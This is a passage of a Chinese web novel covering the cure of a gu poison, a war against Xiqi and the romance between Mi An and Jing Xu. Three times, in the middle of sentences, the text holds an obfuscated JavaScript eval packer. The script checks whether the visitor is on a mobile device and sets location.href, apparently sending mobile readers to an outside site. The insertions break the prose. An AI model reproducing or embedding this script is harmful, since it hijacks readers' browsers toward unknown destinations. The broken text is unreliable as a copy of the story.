见宓安打量着西岐营地,枨衔水问道:“怎么,你打算进去先把主帅杀了?” 宓安点了点头,枨衔水道:“西岐信物需要王室子弟的血融掉令牌外壳才能将里面的药取出来,人死了就不管用了。现在西岐王室只剩他一个,你别轻举妄动。” “不是还有乌南什?” “他是西岐王捡来的。” 宓安惊讶地转头看向枨衔水:“这种王室密辛你都能算出来?那景烈是不是也是捡来的?” 他蠢的一点都不像景煦的兄弟。 “你怎么不怀疑景煦是捡来的?” 宓安瞥他一眼,借力飞身站到了树枝上,说道:“我去看看我爹,你……” “我也去看看你爹。”枨衔水站到他身旁,“好歹是老朋友了。” 明明方才还说什么“后爹和亲爹不见面为好”,宓安也懒得说他,借着寥寥几棵树掩饰身形,向几十里外的大渊营地掠去。 两军并未正式开战,营地距离甚远,宓安叹了口气,奔波了这么久,他着实有些想念景煦了。 大渊王帐仍然依例建在营地正中,无人把手,想着反正是自家人,宓安直接掀开了门帘,一声“爹”还没叫出口,就和桌案边正在看文书的人对上了视线。 正是几月未见的昭王殿下。 方才宓安靠近时景煦就已经察觉,正好奇是谁有这般深厚的内力,原来竟是他朝思暮想的人。 枨衔水跟在宓安身后,见他掀着门帘不动了,奇怪道:“怎么了?” 景煦已经走到了宓安身前,看到枨衔水也是一愣,辨认了良久才不确定道:“师父?” “谁是你师父。”宓安小声怼他,虽是怼人却带着三分委屈,这段时间和枨衔水在一起时还不觉得,现在见了景煦,一路的疲惫全化作了满心委屈,一齐涌了上来。 枨衔水见到景煦也很惊讶,但还是识时务地将门帘放了下来,背着手巡视营地去了,有只鸽子慢悠悠朝这边飞来,枨衔水眼疾手快抓住了它,一眼就认出是他放出去的那只信鸽。 原来景煦还没看到他的信,枨衔水将鸽子揣进袖子里,心道你这会儿还是别进去为好。 营帐内,景煦犹豫着伸了伸手,不知该往哪里放,生怕宓安又要凶他,可此时此刻宓安哪里还顾得上翻什么旧账,上前两步一头扎进景煦怀里,双手紧紧搂上了他的腰,几分委屈几分撒娇,半真半假地抱怨道:“赶路好累,把你的马车送我。” 景煦笑着拥住他:“回去给你造个更舒服的。” “景煦。”宓安脸埋在他怀里,声音闷闷的,景煦应了一声,胸膛贴着宓安震动,无章的心跳声在他耳边作响,宓安笑了声,更加用力抱紧了景煦:“我好想你。” 耳边的心跳声好像加快了几分,宓安好笑地抬起头,想调侃他几句,却被景煦低头堵住了嘴。 宓安不自觉抓紧了景煦胸口的衣裳,微微张嘴接纳了他,任他肆意侵占,生疏地勾着舌头回应。 许久,景煦终于舍得放开他,宓安急促地喘了一口气,颤声凶他:“你别……胡来……” 他气息不稳,凶人也像撒娇似的,景煦忍不住又低头亲了一口,笑道:“我也很想你。” 宓安软软地靠在景煦身上,安心被他抱着,景煦两人打横抱起,放到了床上,自己则坐在床头,一下一下摩挲着他的手,问道:“方才那老者,是你师父?” 宓安“啊”了一声,脑子里又开始编起了说辞,他稍作犹豫景煦就看出了端倪,好笑地捏了捏他的脸:“阿宓有事瞒着我。” “不是什么大事。”宓安心道蛊毒已经解了一半,自然不算大事,“你香囊里的赤棘草,我用掉了。” “你受伤了?”景煦立刻皱起眉头,就要扒宓安的衣裳,宓安赶紧按住他的手:“没受伤,都说了不是大事,我本来想写信问过你再用的,只是我师父着急……” 景煦捂住了他的嘴,语气沉沉:“问我什么?” 见他沉下脸色,宓安好笑地拉开他的手:“我不是和你客气,那毕竟是你母亲的遗物,我想着总要先和你说一声。” “还说不是和我客气。”景煦拉起宓安的手亲了一口,“赤棘草给谁用了?” 宓安靠近了一点,难得如此温柔地和景煦说话:“是我用的,不过我想过几日再和你细说。” 起码等蛊毒彻底解了再说。 “有什么事是不能立刻和我说的?” “说了你又要生气。”宓安支起身子,躺到他腿上,带这些讨好道,“总之不是什么大事。” 宓安何时这副颜色同他说过话,景煦一猜便知一定是大事,而宓安身上的大事,也就只有他的蛊毒了,思及此,景煦目光阴沉,强忍着怒气问道:“你师父是怎么回事?” “这个能不能过几日一起告诉你?” 要是现在让景煦知道枨衔水就是祝澜,他一定立刻就会猜出是宓安和枨衔水串通骗他,宓安身上的蛊毒又还没解,到时候可真不好哄了。 “阿宓,你以为你不说我就猜不到吗?”景煦声音也沉了下来,本来轻轻摩挲宓安脸的手指微微用力,强迫他看向自己,“赫连修齐身死,你的蛊毒是不是蔓延了?” 想了几个月的说辞没一个能派上用场,景煦难得在他面前露出这副神情,宓安撑起身子,将景煦压在了身下,笑道:“景煦,亲亲我。” 景煦按下他的头亲了一口,却不准他转开话头:“蛊毒怎样了?” 宓安又亲了他一口,景煦这下彻底确定了自己的猜测,嘴角压了下来,宓安垂下眼睛靠在他怀里,认错道:“好吧,我错了,不过你看,我瞒着你你也会生气,所以你以后不能再替我涉险了。” 景煦知道宓安是因为那日他顾忌蛊毒不敢全力对付赫连修齐才撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798466|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的谎,可事到如今他还是克制不住地生气,气宓安犯险,更气自己不能将赫连修齐制服,让宓安为了他将自己置于险地。 “话说回来,引蛊之后蛊毒便无解了,这事你是不是知道?”宓安毫不犹豫地卖了枨衔水,“那重生后你还总想替我引蛊,你是什么意思?不想和我成亲?不想和我白头?又要抛下我先走?” 宓安直起上身,跨坐在景煦腰上,居高临下地看着他,这下轮到景煦认错了:“我知错,我不说你了,你也不许说我。” “我偏要说。”宓安一向不讲道理,“回京我就休了你。” 景煦握着宓安的腰翻了个身,另一只手托着他的头将人轻轻放在床上,凑近轻吻了一下他的唇,叹息道:“不闹了,实话告诉我,你的蛊毒要怎么解?” “只差西岐的王室信物了,需要乌连今的血将令牌外壳溶解,拿到里面的药材。”宓安乖乖解释,“不过乌连今不能死,要活着的血。” 景煦又亲了他一口,起身就要出去,宓安赶紧拉住他:“你做什么去?” “将乌连今抓来。” 宓安哭笑不得:“天都这么黑了,不急这一时。” “蛊毒发作会很疼。”景煦连假笑都维持不住了,“我一时半刻也不想耽误。” “先前在姑师拿了一味药材,加上你的赤棘草,蛊毒已经清了一半。”宓安安抚道,“更何况有我师父的药压制蛊毒,我从未疼过。” 景煦奇怪道:“你师父的药?不是国师的药为你压制蛊毒的吗?” 宓安说漏了嘴,只好坦白道:“其实国师就是我师父,此事说来话长……” 虽然说来话长,但景煦一点即通,当即明白过来,气得笑出了声:“原来阿宓和枨衔水串通好了一起骗我。” 想起那日枨衔水言之凿凿说宓安的蛊毒已经解了,景煦就气不打一处来,宓安抱住了他的肩,讨好道:“他是我师父,你可不许对他不敬。” 景煦冷冷道:“我何时对他不敬过?国师如此不辞辛劳,为表谢意,本王回京后就差人替国师重修占星台,一定修得华贵大气,定不失国师身份。” 宓安眨了眨眼,明白过来,顺从道:“好吧,那要修多久?” “少则三年五载多则十年半载。”景煦舍不得生宓安的气,只好迁怒枨衔水,心中合计着怎么让他露宿街头。 “别闹了,师父今夜睡哪里?”宓安推着他躺下,景煦脸色依然不好,说道:“军师帐。” 宓安奇怪道:“你这次出来带了军师?” “我打仗从不用军师。”景煦搂住宓安,“除了阿宓。” “没有军师,为何搭军师帐?” “没搭。” 宓安哑然:“啊?” 景煦揽过宓安,懒懒道:“现搭也不迟,阿宓赶路不是累了,快睡吧。” 宓安被景煦的手臂压着,不能出去找枨衔水,只好寄希望于有副将能发现这个耄耋之年的“老人”,让他不至于到了自家地盘还要睡在树上。 翌日一早,宓安睡醒时景煦又不在身边,帐外嘈杂一片,枨衔水顶着祝澜的脸掀开了营帐,见他醒了,立刻问道:“景煦呢?” 宓安摇摇头:“不知道去哪了,发生什么事了?” 枨衔水语气沉重:“乌连今死了。” 47. 解毒 宓安一怔:“什么时候的事?” “今早暗卫来报,丑时末乌南什到了西岐营地,两人在帐中不知谈了什么,起了争执,乌南什失手将乌连今杀了。”枨衔水手里拿着一个竹筒,烦躁地敲来敲去,他敲得宓安心烦,不由揉了揉太阳穴,无奈道:“师父,别敲了。” 枨衔水“啪”一声将竹筒重重放在桌上:“那破令牌只能用他的血融,他死了,你的蛊怎么办?” “西岐王不是还活着吗?” 枨衔水又敲起了竹筒:“说来话长,这一代的西岐王也不是最初的血脉,这可怎么办。” 宓安目瞪口呆,让枨衔水细说,后者抄起竹筒给了他一下,吼道:“都什么时候了还想着听热闹!?” “人死已成定局,急也没用。”宓安给枨衔水倒了杯茶,让他下下火,“不如先让我听听热闹。” 枨衔水瞥他一眼,喝了口茶,说道:“简而言之,这一代西岐王是先太后与外人私通所生,而乌连今是王后与上一代西岐王的小儿子私通所生,所以乌连今是王室血脉,西岐王不是。” “啊?” 宓安还没出声,先有人替他啊了一声,宓安听到景煦的声音,笑道:“你回来了。” 景煦点点头,好奇道:“那乌南什呢?” 宓安道:“他是西岐王捡来的。” 景煦恍然大悟:“难怪乌南什的长相和西岐王差别这么大,那景烈是不是也是捡来的?” 枨衔水狠狠翻了个白眼,宓安哈哈大笑:“我问过师父了,师父说‘你怎么不怀疑景煦是捡来的’。” “我随母后。”景煦倒了杯茶,“景烈这么蠢一定是随了死老头。” 枨衔水还不知道宓安已经坦白了一切,兀自着急又不好明说,于是使劲冲宓安使眼色,谁知宓安没看到,景煦倒是先望了过来:“师父,你要和青疏说悄悄话吗?” 枨衔水一愣,打哈哈道:“什么悄悄话哈哈……” 景煦虽然生气,但枨衔水毕竟是宓安的师父,他到底不能真对他做什么,只好先从怀里拿出了一块通体血红的玉石交给枨衔水,客气道:“这是西岐信物里的东西,劳烦师父替青疏解毒。” 枨衔水表情空白,一时不知应该先惊讶景煦已经知道了一切,还是应该先惊讶药玉已经取了出来。 “原来令牌里是药玉。”宓安好奇地探头来看,“你怎么拿到的?” “就在乌连今身上,我抢过来给了他一刀,血溅了上来,令牌就化了。”景煦对宓安解释了一下,转头催促枨衔水,“师父,什么时候能解毒?” “现在。”枨衔水没好气,“白担心一早上,你什么时候出去的,乌连今死了你知道吗?” 昨夜宓安说不急这一时,景煦哪里听得进去,见宓安睡熟便立刻奔着西岐王帐去了,还特地在外面逗留到天亮,估摸着宓安睡醒了才回来,想假装他是一大早出去的。 没想到乌连今死了,景煦只好承认道:“昨夜去的,刚知道。” 宓安幽幽道:“我就知道你从来不听我的。” “我着急嘛。”景煦拉住他的手,“能早一分便是一分,我怕你疼。” 枨衔水打断两人调情,无情道:“最后一点蛊毒要从深处拔除,这疼是一定要受的。” “无事。”宓安笑着安抚景煦,“我又不是小孩子了,别担心。” 枨衔水捏碎药玉,一半捣成粉末和他早就制好的药混在一起,一半装进布袋里给了宓安:“收好,今日先吃一半,剩下的明日再吃。” 宓安问道:“为何不能今日就将毒清完?” 枨衔水看了一眼景煦:“会很疼。” “我不……” “听师父的。”景煦拿过另一半药玉收好,握住了宓安的手,“用药吧,疼就咬我。” 宓安将药丸吃了,无奈道:“疼也没关系的。” 不过片刻,宓安果然感觉到体内一阵燥热,五脏六腑都像搅在了一起,药玉清凉,却不能缓解疼痛,宓安握着景煦的手发抖,猛地吐出一口血。 “血和毒一起吐出来就好多了。”枨衔水心中大石落地,“还能忍吗?能忍就把另一半吞了。” 宓安咬着牙说不出话,冲景煦伸出了手。 景煦只好将药玉拿了出来,宓安慢慢吞下,呼吸更加急促,强撑着扶住景煦,挤出一个虚弱的笑:“反正已经疼了,干脆就……疼这一次吧……我可不要……明日再疼一次……” 比方才剧烈百倍的疼涌了上来,宓安忍不住呻吟出声,疼到麻木时,宓安不由想起前世的景煦,那时他的蛊毒五日就要发作一次,是不是比他现在还要疼,那些年的景煦到底是怎么过来的。 “景煦……” 景煦见他疼得厉害,紧紧将人抱坐在腿上,心疼道:“很快就好了,疼就咬我。” 宓安却摇摇头,问他:“你疼不疼……” 景煦一怔:“什么?” 宓安抓着他前襟的手指已经泛白,疼得意识模糊,小声道:“对不起,我不该总是……不理你的……” “说什么胡话。”景煦将宓安按在自己怀里,“不想理我就不理我,不想待在宫里就离开,不用顾及我。” “你才说胡话……”宓安眼前一片模糊,已经看不清景煦的轮廓,“不许说胡话……” “好,我不说。”景煦心疼得不知如何是好,他不能替宓安受这份疼,只能紧紧抱着他,怀里的人身子颤抖,连抓他衣裳的力气都没了,却还在喃喃:“不许……不许再为了我涉险……” 枨衔水叹了口气,说道:“我去熬些补气的汤药,他恐怕还要疼上一阵子。” 景煦道了声谢,宓安已经不自觉咬上自己的舌头,景煦连忙将手指放进他嘴里,防止他伤到自己。 宓安意识模糊间感觉到景煦的手,强撑着仰起头躲开,不愿伤到他,景煦却不依不饶,将人禁锢住,又将手凑到了他嘴边。 “不要……”宓安艰难地睁开眼,眼前还是模糊一片,他无力地推了景煦一把,“不许为了我……伤到你自己,景煦,你能不能……听听我的话……” 一行清泪顺着宓安眼角滑落,景煦心疼地吻去他的眼泪,轻声道:“咬一下没事的。” “你总是这样……从来不听我的……”疼痛终于减缓,宓安闭上眼睛,任自己沉在景煦怀里,有气无力道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802582|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你再这样,我、我要叫我爹打你了。” 景煦失笑:“打吧。” “方才好像听到师父说去煎药了。”宓安悄悄缓过一些,还是没骨头似的全然靠景煦撑着自己,“我想喝甜的。” 景煦沉默一下,难得拒绝宓安的要求:“甜的影响药效,平时小病无妨,这个时候阿宓就好好吃药,好不好?” 宓安仰头下去,景煦连忙揽住他,让人靠在自己怀里,宓安闭着眼耍小孩脾气:“就要喝甜的。” “啪!”药碗被重重放在桌子上,紧接着是枨衔水的怒吼:“喝什么甜的!?你多大了?给我起来喝药!” 两人的心思都在别的地方,没察觉枨衔水进来,宓安撒娇被师父撞个正着,顿时感觉没脸见人,当即闭眼装死,枨衔水指指景煦:“我不管你用什么办法,这药必须趁热喂给他,晚上还有一剂,明日还有三剂。” 宓安远远闻着药味都觉得舌根发苦,景煦就着这个姿势抱着人坐到了桌边,端起了药碗。 枨衔水还在一边,宓安只好扶着景煦的肩膀从他腿上坐起身,深吸一口气将药喝了个干干净净,又屏息许久,知道鼻间苦味散去才重重呼出一口气,还是被苦得脸都皱了起来。 “娇气。”枨衔水盯着人喝了药才走,“再乱改药方喝甜的小心我揍你。” “师父越来越凶了。”宓安委屈道,“小时候他从来不吼我。” 景煦笑道:“许是占星台太寂寞,憋久了吧。” 宓安失笑,方才疼得浑身冷汗,现在喝了药眼皮渐渐沉重,于是窝在景煦怀里准备睡一觉。 “找到了师父,我很开心。”宓安喃喃道,“遇到你,我也很开心。” “阿宓开心我就开心。” 宓安很快就陷入了沉睡,景煦将人轻轻放到床上,起身出了营帐。 几位副将已经站在了王帐前,齐怀仁探头探脑,见景煦出来,立刻站好,小心问道:“殿下,是军师来了吗?” 景煦点了点头,见这几人一听宓安来了就突然兴奋起来,压下心头一点不悦,冷声道:“现在就去将西岐灭了,本王要拿西岐王的人头哄军师高兴。” “是!” 导致宓安中毒的罪魁祸首是姑师,姑师已灭,景煦便迁怒西岐,怪他们的药玉是没用的东西,平白让宓安受这份罪。 乌连今已死,西岐军中正乱,纵使乌南什及时力挽狂澜,奈何景煦所向披靡,打得西岐军队节节败退,只差一点就要退回王城。 景煦骑在马上,远远看着那边的乌南什,想起了宓安说过前世曾被乌南什出言不逊,计算了一下距离,景煦拉弓搭箭,千军万马中,利箭擦着乌南什的耳边飞过,削断了他的鬓发,射穿了他身后副将的咽喉。 这一箭只是恐吓,乌南什还没反应过来,又一支箭削断了他另一边鬓发,他这才意识到景煦是故意吓他,可他无力与景煦一战,只能僵硬地坐在马上,死死盯着景煦的动作,以求及时躲避。 又一箭射来,钉穿了乌南什的发冠,箭矢却没有泄力,带着他仰头跌下了马。 “废物。”景煦勾起一抹玩味的笑,一瞬间计上心头,策马靠近了乌南什。 48. 挑衅 景煦只是独自靠近,西岐人马却齐刷刷往后退去,景煦嘲讽地笑出声,停在了离乌南什不到两丈的地方。 乌南什警惕地看着景煦,重新翻身上马,与他对峙,景煦却只是挑了挑眉,笑着问道:“乌南什,你知不知道你不是你爹亲生的?” 乌南什一愣,没想到景煦单枪匹马过来就是为了说这个,登时满脸涨红:“胡说八道!” 景煦虚情假意地安慰道:“你也不用太难过,虽然你不是你爹亲生的,但你爹也不是你爷爷亲生的。” 此话一出,西岐将士们面面相觑,议论声从窃窃私语逐渐变嘈杂,乌南什身边的副将回头怒吼:“都闭嘴!” 景煦摇摇头,叹了口气:“可怜乌连今唯一一个正统血脉,如今也没了。不过……” 他顿了顿,扫视了众人一圈,笑道:“大家都不是王室血脉,既然乌南什能做王子,为何各位不能呢?” 西岐副将虎视眈眈,但景煦身后众将士齐齐挽着长弓,蓄势待发,令他们不敢轻举妄动。 齐怀仁几人远远瞄着乌南什,侧耳细听景煦说了什么,才听了一半就瞪大了眼睛,西岐王室竟然还有这等腌臜事? 不过昭王殿下这阴阳怪气的语气,听着怎么这么像军师呢…… 景煦目的达到,挑衅地冲乌南什笑了下,策马调头慢悠悠往大渊那边走去,乌南什目呲欲裂,猛地抬手掷出一把短刀,直冲景煦后心射去,景煦不闪不避,那短刀竟只是擦着他的肩头飞了过去,没多远就掉到了地上。 正想射出弦上箭的邓之武一时愣住,莫名其妙地看向了乌南什。 高头大马缓缓走近,在这剑拔弩张的两军之间竟走出了闲庭信步的悠闲感,景煦驱马转身,冲乌南什扬声道:“废物。” 大渊将士们哄笑起来,两军策马交战,激起尘土飞扬,战马嘶吼间刀光剑影,血肉横飞,大渊尽占上风。 西岐兵力本就不如大渊大渊,如今将心不稳,更是败势已定,景煦不欲直接要了乌南什的命,长枪在手招招挑衅,耍猴似的打得乌南什只能抵挡,毫无机会出手进攻。 大军交战,宓安醒来时营地就只剩下留守的一批将士,刘平威见宓安起了,连忙问道:“军师,前面开战了,咱们过去看看?” 景煦留他驻守营地,刘平威早就按捺不住想要杀几个西岐人洗洗武器,宓安却摇摇头,耳尖微动,回头道:“有人来了。” 刘平威抬头看去,远处果然有七八个人飞身前来,为首之人飞出几枚暗器,直冲他来,宓安拉住刘平威后撤避开,看向了来人。 留守将士拔剑围了过来,来人却不见慌张,对宓安道:“宓少师,跟属下走。” 宓安一愣:“你是何人?” 为首的男人恭敬道:“属下是三王子的人,王子命属下前来营救少师。” 营救?宓安不明所以,上前一步将刘平威挡在了身后,问道:“他如何得知我在此处的?” “王子自有门路,少师请不要耽搁了,西岐大军已经拖住昭王,属下等定要救少师出去。”这人说着,恶狠狠地盯住了刘平威。 宓安好奇乌南什这是在唱哪出,本想将计就计跟去看看,但听他说景煦被西岐大军拖住,这点好奇当即散了个干净,冷声道:“刘将军,尽量活捉。” “是!” 西岐人不敢置信地看向宓安,宓安没功夫给他们眼神,翻身上马寻景煦去了。 乌南什被景煦驱赶着,几乎要退无可退,正抬剑抵挡眼前的长枪,却突然看到景煦身后,有一白衣人策马而来,登时一愣,被景煦刺穿了肩头。 景煦一挑眉:“这都挡不住?” 乌南什怔愣着看着他身后,景煦奇怪地侧了下头,也愣住了。 “你怎么来了?”景煦随手拔出长枪,看也不看鲜血四溅的乌南什,连忙驱马迎向宓安。 看到景煦没事,宓安这才松了口气,眼神越过他落在了已经无力拉住缰绳的乌南什身上。 “你怎么……来这里了……”乌南什虚弱地撑起身子,看向宓安,“我让辛牧带人去找你了,我……没有忘记与你的约定。” 景煦皱着眉看向了他,宓安莫名其妙道:“什么约定?” 话音刚落,宓安就想起来了,在京中时他为了姑师信物的事随口忽悠了乌南什几句,后来他与景煦出京去寻解蛊的办法,为防这人到姑师添乱,宓安特地去了趟驿站稳住了乌南什。 这件事早就被宓安忘到了后脑勺,现在想想,那时他说自己被景煦胁迫,要与他一同前往姑师,因父亲在京为质,请三王子不要轻举妄动。当时乌南什似乎说过,自己会想办法救他。 时至今日,两军开战,乌南什竟然还惦记着他。 宓安目瞪口呆,这乌南什真是…… “原来少师是骗我的。”见景煦如此急切地去迎宓安,乌南什还有什么不明白的,“乌连今说的没错,我果然是蠢货……” 景煦不知道两人在说什么,但看到乌南什用这副神情看着宓安他就不高兴,当即用枪尖指了指乌南什,冷笑道:“你知道就好。” 宓安觉得好笑,甚至有些可怜乌南什,他的伤口不住流血,但景煦并未下杀手,因此这伤虽重,但并不致命。 乌南什重伤,西岐将士围在了他身边,刀尖对外,大渊将士也站到了景煦和宓安身后,两军逐渐泾渭分明。 “乌连今真的死了?”宓安问道。 乌南什脸色惨白,点了点头。 宓安又问:“你今日开战,是为了将他的死推到我们殿下身上?” 景煦耳尖动了动,被这个称呼哄得莫名开心,偷偷笑了下。 宓安听到笑声还以为景煦是在笑乌南什蠢,于是无奈地看了他一眼,又转头问道:“我与乌连今有过一面之缘,听他所言,你二人似乎感情不错,怎的今日看来并非如此?” 听到这话,乌南什怔愣许久,不可置信地问道:“他说、他说我们感情不错?” 景煦不想再听他废话,直接道:“西岐已败,三王子是老老实实俯首称臣,还是想像姑师一样从此消失?” 西岐安分多年,今日出兵也并非乌南什本意,如今西岐兵败,已是强弩之末,乌南什只能认输,哑声道:“我不知王室信物被乌连今放到了哪里,不过想来昭王殿下也并不需要兵符……请昭王殿下莫要对西岐百姓赶尽杀绝。” “好说。”景煦将长枪扔给邓之武,交代几人收押乌南什,编制战俘,自己则和宓安一起回了营地。 两人策马回营时,枨衔水已经在门口等了许久,宓安看到他的一瞬间猛然想起了什么,主动解释道:“师父,今日是有西岐人偷袭营地……” 枨衔水打断道:“我不想听你狡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807298|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辩,下马,喝药。” 宓安乖乖下马,跟着枨衔水进了营帐,景煦好笑地跟在后面,枨衔水突然回过头,对上景煦的眼睛:“说他没说你是吧?你喝药了吗?” 景煦的笑僵住:“啊?” “呵。”枨衔水冷笑一声,指了指桌上的两碗药,“左边青疏的,右边景煦的,现在喝。” 这两碗药似乎是双倍的剂量,苦得宓安直接蹲在了地上,咬着舌头半天没缓过神,景煦也被苦得狠狠皱了下眉,宓安看向枨衔水,问道:“师父,以后的药我能不能自己煎?我心里有数……” 枨衔水看着他碗里最后一口,盯着他喝了才冷声道:“你有什么数?” 景煦咬了咬舌头:“为什么我也要喝药?” 宓安不敢顶撞枨衔水,只好抬眼看向景煦:“上次重伤你没好利索就回京,现在又带兵来这里,再装傻我可要抽你了。” 于是景煦也蹲到了宓安身前,无力道:“其实已经好的差不多了。” “就是因为这次是你来的,乌南什才以为我爹被当人质了。”宓安嘴里的苦味淡了些,“为什么不让我爹来?” “因为我看乌南什不顺眼。”景煦还记恨前世乌南什对宓安出言不逊的事,亲手杀他才能解气。 枨衔水看着这两人面对面蹲着说话,不由想起了他们小时候。那时候两个小团子也经常一起蹲在屏风后面,偷偷摸摸窸窸窣窣的不知在做什么坏事,如今不过短短三十载,竟连他都觉得恍如隔世了。 “我有些想家了。”宓安将药碗放在地上,盯着碗底映出的烛火出神,“你爹怎么样了?” “老样子,有出气没进气。朝中的事我已经料理的差不多了,就等你回去了。” 宓安奇怪道:“等我做什么?你上次自己回去直接登基不就好了,何必这么麻烦。” 景煦摇摇头:“你不在,太寂寞了。更何况……” 他抬眼看着宓安,眼神中不知是什么情绪:“到底要不要登基,我想先问过你。” 宓安沉默下来,前世他确实是因为景煦做了皇帝才逐渐疏远他,没想到今生已经互通心意这么久了,景煦竟还在担心这些。 平时与宓安亲近时景煦很少想起前世,如今又走到了这一步,他总是控制不住地心慌,一定要问宓安要个确切的承诺才好。 枨衔水不知何时已经离开了王帐,两人沉默着对视,良久,宓安笑了起来,冲景煦伸出手:“能不能坐着说?腿麻了。” 景煦也笑了下,将他拉起来,抱坐在自己腿上:“就这样说吧。” “我不是早就说过了,我要搬空国库。”宓安靠在他怀里,语气清浅,“昭王殿下这是不想给了?” “我怎么敢。”景煦紧紧抱着他,不确定道,“阿宓愿意留下来陪我?” “怎么说的像做了皇帝就不能出宫了似的?”宓安好笑地抬头看他,“不忙的时候你陪我出去游山玩水不可以吗?” 景煦立刻道:“当然可以。” “这不就结了。”宓安环上他的脖子,笑道,“况且,我爹还在,师父也在,我就算出去玩也是要回家的,不要担心,好不好?” “好。” “那……亲一下?”宓安说着,仰头亲了他一口,景煦低头想回吻,宓安却伸手挡住,笑盈盈地说道:“心情好啦?那我要开始翻旧账了。” 49. 旧账 景煦一愣,笑道:“翻哪本?” “前世你五日就要忍受一次蛊毒发作,那时你偷偷躲在哪里?”宓安脸色沉了下来,他记得前世景煦几乎每日都要来找他,独自在书房批折子的时候屈指可数。 景煦叹了口气,老实交代:“没躲起来,就在你床上。” 见宓安脸色更差了,景煦伸手捂住了他的眼睛,语气轻松:“我内力至阳,蛊毒发作没那么疼的,真的。” 宓安眨了眨眼,睫毛扫在景煦的手心,也扫在他心头,景煦不由自主靠近,亲了亲宓安的唇。 “谁准你亲了?”宓安拉下景煦的手,凶道,“那这次你为什么又扔下我?” 景煦目光沉沉,难得没有不分是非地直接认错,反而语气重了些,说道:“阿宓难道不是也打着主意想甩开我?” “……”宓安没想到景煦也学会了翻旧账,当即开始无理取闹:“这不是一码事。” “怎么不是一码事?骗我说蛊毒已解,甩开我去找药材,在我看不到的地方自己受罪。”景煦托着宓安的下巴强迫他抬头看自己,“甚至串通外人一起骗我,阿宓,你当真觉得我脾气很好吗?” 宓安笑了下,有恃无恐:“你还能打我不成?” 景煦垂下眼睛,叹息道:“自然舍不得打你,但我会心疼。” “我知错了。”宓安知道景煦不会对他生气,但他更怕景煦难过,于是学着景煦的语气乖乖认错,“我保证绝对不会有下次了。” “再有下次怎么办?” 宓安一愣,好笑道:“你还学会训我了!” 景煦抓住他的手,又问了一次:“再有下次怎么办?” “随你怎么办,好了吧?”宓安推推他,景煦却将人抱得更紧,低头附在宓安耳边说了什么,宓安的脸色肉眼可见地红了起来,舌头都打了结:“你、你、你像什么话……你……” 景煦面不改色:“是阿宓自己说的,随我怎么办。” 宓安不愿再搭这个茬,埋在他怀里安静了许久。烛火燃尽一半,灯花摇曳着爆开,宓安越想越羞,终于忍无可忍,抬手冲景煦后脑勺甩了一巴掌。 景煦吃痛,却低声笑了起来,笑得宓安脸更红了。 - 西岐王室已经后继无人,景煦又着急带宓安回家,所以并不打算现在就打到王城去,暂时留了西岐王一命。 这次景煦出征时没有宓安在侧,自然没有驾马车,但回京却不一样了,宓安刚受了蛊毒发作的苦楚,景煦是一点都舍不得他骑马颠簸,非要去买驾马车不可。 枨衔水远远听着两人为这小事拌嘴争执,不由抬头看了一眼天象。 繁星满天,两颗帝王星光芒较之前更盛,且在缓缓靠近彼此,不日便要合在一处了。天象是吉兆,枨衔水又看了一眼那两人,暗自琢磨着得找个做长辈的教训教训他们才行。 最终宓安也没争过景煦,只好顶着几位副将略显慈爱的眼神钻进了马车,眼不见为净。 这一程从清明到霜降,宓安终于踏上了回家的路,一时身心皆放松下来,懒洋洋地靠着车壁,翻看起了前几日从枨衔水那顺来的新茶方。 景煦交待好剩余琐事,掀开车帘就看到宓安盘腿坐着正在看书,日光从车窗外照进一道,映在他的脸上,本就一身柔弱气质的人此时好像更虚弱了。 “阿宓。”景煦小心叫了一声,“身子好些没?” 宓安抬头冲他笑笑:“那日疼过了就好了,别担心。” “不舒服不许瞒我。” “瞒你做什么?”宓安好笑道,“要是不舒服,我一定好好使唤你一通。” 景煦笑了下,这才放下心来,坐到宓安身侧和他一起看起了茶方。 秋风渐凉,虽然万事已定,不着急赶路,但大军行进还是稍显急切——还有三个月到年下了,将士们都想赶在年前回家。 “竟然已经第二年秋了。”宓安将手伸出车窗,接住一片枯叶,随手夹在了茶方中,景煦见了,忽然想起前世宓安在宫中时闲来无事也会制些花笺,只是他只见过宓安低头制笺,却从未见过那些花笺去了何处。 景煦依然好奇,便问了出来,宓安顿了下,手上又翻了一页:“不告诉你。” “让我猜猜。”景煦靠在他肩头,好整以暇地看着他,“书房?” “猜错了。” “寝殿?” “不对。” “御花园?” “不是。” 一连猜了几个地方都不对,景煦的好奇心更强烈了,见宓安一副不想说的样子,他又凑近了一些,贴上宓安的额头,问道:“到底藏在哪里了?” 宓安偏头躲开:“凑这么近做什么,说了不告诉你,自己猜。” 